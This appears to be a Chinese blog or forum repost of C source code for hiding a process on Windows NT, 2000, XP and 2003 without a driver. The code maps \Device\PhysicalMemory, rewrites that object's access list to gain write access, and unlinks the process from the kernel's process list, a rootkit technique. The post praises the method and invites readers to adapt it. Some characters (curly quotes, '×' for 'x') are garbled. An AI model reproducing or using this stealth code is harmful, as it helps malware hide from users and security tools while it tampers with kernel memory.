 一般基于HOOK ZwQuerySystemInformation的隐藏进程都是在驱动模式下进行的, 在这里通过操作内存实现了. 而且达到了不同系统版本的通用性. 厉害…来自驱动开发网的东东….比较适合我们这种驱动白痴 ^_^

注:在测试过程中.因为是命令行模式,所以在任务管理器的应用程序中看的到, 实际上在进程中已经隐藏了…其他的自己改吧…
下面是源代码:

#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <malloc.h>

#define NT_SUCCESS(Status)      ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH    ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
  NTSTATUS  Status;
  ULONG    Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
  USHORT    Length;
  USHORT    MaximumLength;
  PWSTR    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT       0×00000002L
#define OBJ_PERMANENT      0×00000010L
#define OBJ_EXCLUSIVE      0×00000020L
#define OBJ_CASE_INSENSITIVE  0×00000040L
#define OBJ_OPENIF       0×00000080L
#define OBJ_OPENLINK      0×00000100L
#define OBJ_KERNEL_HANDLE    0×00000200L
#define OBJ_VALID_ATTRIBUTES  0×000003F2L


#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED        ((NTSTATUS)0xC0000022L)

/*
*************************************************************************
* ntddk.h
*/
typedef LONG    NTSTATUS;
typedef ULONG    ACCESS_MASK;
/*
* ntdef.h
*************************************************************************
*/

/*
*************************************************************************
* <<Windows NT/2000 Native API Reference>> – Gary Nebbett
*/

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

/*
*Information Class 16
*/
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

#define InitializeObjectAttributes( p, n, a, r, s ) { (p)->Length = sizeof( OBJECT_ATTRIBUTES ); (p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; }
/*
*************************************************************************
* <<Windows NT/2000 Native API Reference>> – Gary Nebbett
*************************************************************************
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR    ) ( IN NTSTATUS Status );
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );
/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static DWORD GetEprocessFromPid    ( ULONG PID );
static BOOL  LocateNtdllEntry ( void );


/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static RTLNTSTATUSTODOSERROR    RtlNtStatusToDosError    = NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

static HMODULE                    hModule                     = NULL;
/************************************************************************/


static DWORD GetEprocessFromPid ( ULONG    PID )
{
    NTSTATUS                    status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;

    for ( size = 1; ; size *= 2 )
    {
        if ( NULL == ( buf = calloc( size, 1 ) ) )
        {
            fprintf( stderr, “calloc( %u, 1 ) failed\n”, size );
            goto GetEprocessFromPid_exit;
        }
        status = ZwQuerySystemInformation( SystemHandleInformation, buf, size, NULL );
        if ( !NT_SUCCESS( status ) )
        {
            if ( STATUS_INFO_LENGTH_MISMATCH == status )
            {
                free( buf );
                buf = NULL;
            }
            else
            {
                printf( “ZwQuerySystemInformation() failed”);
                goto GetEprocessFromPid_exit;
            }
        }
        else
        {
            break;
        }
    }  /* end of for */

    //返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组
    NumOfHandle = (ULONG)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
    
    for(i = 0; i<NumOfHandle ;i++)
    {
        if( ( h_info[i].ProcessId == PID )&&( h_info[i].ObjectTypeNumber == 5  ))//&&( h_info[i].Handle==0×3d8 ) )
        {
            printf(“Handle:0x%x,OBJECT 0x%x\n\r”,h_info[i].Handle,h_info[i].Object);
            return((DWORD)(h_info[i].Object));
        }
    }
GetEprocessFromPid_exit:
    if ( buf != NULL )
    {
        free( buf );
        buf = NULL;
    }
    return(FALSE);
}


/*
* ntdll.dll
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = “ntdll.dll”;
    HMODULE ntdll_dll   = NULL;


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( “GetModuleHandle() failed”);
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, “ZwQuerySystemInformation” ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        printf( “GetProcAddress() failed”);
    }
    ntdll_dll = NULL;
    return( ret );
}
typedef struct _OBJECT_ATTRIBUTES
{
  ULONG    Length;
  HANDLE    RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG    Attributes;
  PVOID    SecurityDescriptor;
  PVOID    SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
            OUT PHANDLE SectionHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes
            );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(        
             IN OUT PUNICODE_STRING DestinationString,
             IN PCWSTR SourceString
             );

RTLINITUNICODESTRING    RtlInitUnicodeString;
ZWOPENSECTION      ZwOpenSection;
HMODULE  g_hNtDLL = NULL;
PVOID   g_pMapPhysicalMemory = NULL;
HANDLE   g_hMPM   = NULL;

BOOL InitNTDLL()
{
  g_hNtDLL = LoadLibrary( “ntdll.dll” );
  if ( !g_hNtDLL )
  {
    return FALSE;
  }

  RtlInitUnicodeString =
    (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, “RtlInitUnicodeString”);
  
  ZwOpenSection =
    (ZWOPENSECTION)GetProcAddress( g_hNtDLL, “ZwOpenSection”);
  
  return TRUE;
}

VOID CloseNTDLL()
{
  if(g_hNtDLL != NULL)
  {
    FreeLibrary(g_hNtDLL);
  }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
  
  PACL pDacl=NULL;
  PACL pNewDacl=NULL;
  PSECURITY_DESCRIPTOR pSD=NULL;
  DWORD dwRes;
  EXPLICIT_ACCESS ea;
  
  if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
    NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode = GRANT_ACCESS;
  ea.grfInheritance= NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = “CURRENT_USER”;
  
  
  if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
  if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
CleanUp:
  
  if(pSD)
    LocalFree(pSD);
  if(pNewDacl)
    LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
  NTSTATUS    status;
  UNICODE_STRING    physmemString;
  OBJECT_ATTRIBUTES  attributes;
  
  RtlInitUnicodeString( &physmemString, L”\\Device\\PhysicalMemory” );
  
  attributes.Length      = sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory    = NULL;
  attributes.ObjectName      = &physmemString;
  attributes.Attributes      = 0;
  attributes.SecurityDescriptor    = NULL;
  attributes.SecurityQualityOfService  = NULL;
  
  status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  
  if(status == STATUS_ACCESS_DENIED){
    status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
    SetPhyscialMemorySectionCanBeWrited(g_hMPM);
    CloseHandle(g_hMPM);
    status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  }

  if( !NT_SUCCESS( status ))
  {
    return NULL;
  }
  
  g_pMapPhysicalMemory = MapViewOfFile(
    g_hMPM,
    4,
    0,
    0×30000,
    0×1000);
  if( g_pMapPhysicalMemory == NULL )
  {
    return NULL;
  }
  
  return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
  ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
  if(VAddr>=0×80000000 && VAddr<0xa0000000)
  {
    PAddr=VAddr-0×80000000;
    return (PVOID)PAddr;
  }
  PGDE=BaseAddress[VAddr>>22];
  if ((PGDE&1)!=0)
  {
    ULONG tmp=PGDE&0×00000080;
    if (tmp!=0)
    {
      PAddr=(PGDE&0xFFC00000)+(VAddr&0×003FFFFF);
    }
    else
    {
      PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0×1000);
      PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
      if ((PTE&1)!=0)
      {
        PAddr=(PTE&0xFFFFF000)+(VAddr&0×00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
      }
      else return 0;
    }
  }
  else return 0;

  return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0×1000);
  if (tmp==0)
    return 0;
  ULONG ret=tmp[(phys & 0xFFF)>>2];
  UnmapViewOfFile(tmp);
  return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0×1000);
  if (tmp==0)
    return FALSE;
  tmp[(phys & 0xFFF)>>2]=data;
  UnmapViewOfFile(tmp);
  return TRUE;
}

BOOL HideProcessAtAll()
{
    if (InitNTDLL())
    {
    if (OpenPhysicalMemory()==0)
    {
      return FALSE;
    }
    int f,b;
    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize=sizeof(osvi);    
    GetVersionEx(&osvi);
    //f=0×88;b=0×8c;
    
    if(osvi.dwMajorVersion==5)
    {
        if(osvi.dwMinorVersion==0)//win2k
        {
            f=0xa0;b=0xa4;
        }
        else if(osvi.dwMinorVersion==1)//winxp
        {
            f=0×88;b=0×8c;
        }
        else if(osvi.dwMinorVersion==2)//win2003
        {
            f=0×8a;b=0×8e;
        }
        else return FALSE;
    }
    else if(osvi.dwMajorVersion==4 && osvi.dwMinorVersion==0 &&osvi.dwPlatformId==2)//NT
    {
        f=0×98;b=0×9c;
    }
    else return FALSE;
    
//  ULONG thread=GetData((PVOID)0xFFDFF124);
//  ULONG process=GetData((PVOID)(thread+0×22c));

    LocateNtdllEntry( );
    //打开自身句柄,这样才能在handle列表中找到自己,PROCESS 对应 ObjectTypeNum 为5
    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );  
    ULONG process=(ULONG)GetEprocessFromPid( (DWORD)GetCurrentProcessId() );
    ULONG fw=GetData(PVOID(process+f));
    ULONG bw=GetData(PVOID(process+b));
    SetData(PVOID(fw+4),bw);
    SetData(PVOID(bw),fw);

    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();
  }
  return TRUE;
}

int main(int argc, char* argv[])
{
    HideProcessAtAll();
    Sleep(30*1000);
    printf(“Hello World!\n”);
    return 0;
}